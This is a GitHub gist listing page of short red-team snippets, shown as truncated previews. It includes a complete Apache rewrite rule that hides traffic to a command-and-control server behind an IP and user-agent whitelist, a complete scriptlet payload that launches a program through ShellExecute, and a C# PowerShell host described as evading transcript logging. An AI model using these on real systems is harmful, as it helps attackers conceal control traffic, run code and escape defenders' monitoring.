Skip to content

Instantly share code, notes, and snippets.

View benpturner's full-sized avatar

Ben Turner benpturner

60 followers · 3 following
View GitHub Profile
@benpturner
benpturner / SystemService.cs
Created June 14, 2017 09:15
Simple C# Service
using System;
using System.Diagnostics;
using System.ServiceProcess;
namespace RedTeamingService
{
public partial class SystemService : ServiceBase
{
public static int pid = 0;
@benpturner
benpturner / Program.cs
Last active November 29, 2023 10:58
Simple C# Service
using System.ServiceProcess;
using System.Diagnostics;
public class MyService : ServiceBase
{
public MyService()
{
ServiceName = "runner";
}
@benpturner
benpturner / Dll.cpp
Created June 14, 2017 09:31
Simple DLL
#include <windows.h>
#include <stdio.h>
//////////////////////////////////////////////////////////////////////
BOOLEAN WINAPI DllMain(
IN HINSTANCE /*hDllHandle*/,
IN DWORD nReason,
IN LPVOID /*Reserved*/)
{
@benpturner
benpturner / JS from VBA
Created July 9, 2017 19:39
JS from VBA
Sub RunMe()
'
' Menu -> Tool -> References -> Microsoft Script Control 1.0 & Enable by Clicking it
'
'
Dim jsObj As New ScriptControl
Dim Result As Integer
jsObj.Language = "JScript"
With jsObj
@benpturner
benpturner / posh.cs
Last active July 18, 2018 18:59
Powershell.exe no more
using System;
using System.Text;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.EnterpriseServices;
@benpturner
benpturner / Simple HTTP Server
Created July 29, 2017 10:00
Simple HTTP Server
$serverport = '$port'
$httpresponse = '
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
@benpturner
benpturner / Whitelist
Last active August 1, 2017 09:37
Apache Rewrite Whitelist
# whitelist need to be formatted like so
# 104.44.44.44 -
# 104.33.33.33 -
RewriteMap ips txt:/opt/whitelist.txt
RewriteCond ${ips:%%{REMOTE_ADDR}|NOTFOUND} !NOTFOUND
RewriteCond %%{HTTP_USER_AGENT} "Mozilla\/5\.0 \(Windows NT 6\.1; WOW64\) AppleWebKit\/537\.36 \(KHTML, like Gecko\)" [NC]
RewriteRule ^/news/(.*) https://yourc2server.com/news/$1 [NC,P]
@benpturner
benpturner / sct
Last active March 28, 2019 00:00
Simple CSript - Implied JScript
<cOmPoNeNt><sCRipT>
a=new ActiveXObject("Shell.Application").ShellExecute("calc.exe","","","open","0");
</sCRipT></cOmPoNeNt>
@benpturner
benpturner / perms.ps1
Last active August 21, 2019 19:30
Powershell Perm Review
Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue | ForEach-Object {try {Get-Acl -Path $_.FullName | Select-Object pschildname,pspath,accesstostring} catch{}}|Export-Csv C:\temp\acl.csv -NoTypeInformation
@benpturner
benpturner / posh.cs
Created July 18, 2018 14:04
No Powershell with Transcript Logging Evasion
using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace TranscriptBypass
{
// Compiling with CSC.exe v4.0.30319 or v3.5
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:C:\Temp\posh.exe C:\Temp\posh.cs /reference:System.Management.Automation.dll
// C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /out:c:\temp\posh.exe C:\temp\posh.cs /reference:System.Management.Automation.dll